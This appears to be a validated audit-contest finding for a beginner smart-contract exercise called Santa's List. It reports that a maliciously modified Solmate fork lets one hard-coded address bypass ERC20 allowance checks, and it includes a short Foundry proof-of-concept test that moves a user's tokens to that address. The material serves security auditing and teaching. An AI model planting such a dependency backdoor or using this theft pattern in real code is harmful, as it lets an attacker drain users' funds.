First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect Solmate library used

wafflemakr

Summary

Solmate library maliciously modified

Vulnerability Details

Solmate library is not the original transmissions11/solmate one, but a modified one instead, a malicious fork patrickalphac/solmate-bad which introduces a bug into the ERC20.sol::transferFrom contract. The modified code allows 0x815F577F1c1bcE213c012f166744937C889DAF17 to bypass the allowance check and transfer tokens from and to random addresses.

PoC

function testBadSolmateLib() public {
// give some tokens to user
deal(address(santaToken), user, 100e18);
​
// use malicious address to steal funds from user
address attacker = 0x815F577F1c1bcE213c012f166744937C889DAF17;
uint256 initialBal = santaToken.balanceOf(attacker);
​
vm.prank(0x815F577F1c1bcE213c012f166744937C889DAF17);
santaToken.transferFrom(user, attacker, 100e18);
​
assertGt(santaToken.balanceOf(attacker), initialBal);
}

Output:

forge test --mt testBadSolmateLib -vvv
[⠒] Compiling...
[⠢] Compiling 1 files with 0.8.22
[⠆] Solc 0.8.22 finished in 2.01s
Compiler run successful!
​
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testBadSolmateLib() (gas: 167637)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.18ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

HIGH as 0x815F577F1c1bcE213c012f166744937C889DAF17 can steal user's funds and move balances around

Tools Used

  • Manual Review

Recommendations

Use the correct lib transmissions11/solmate version in the foundry project.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.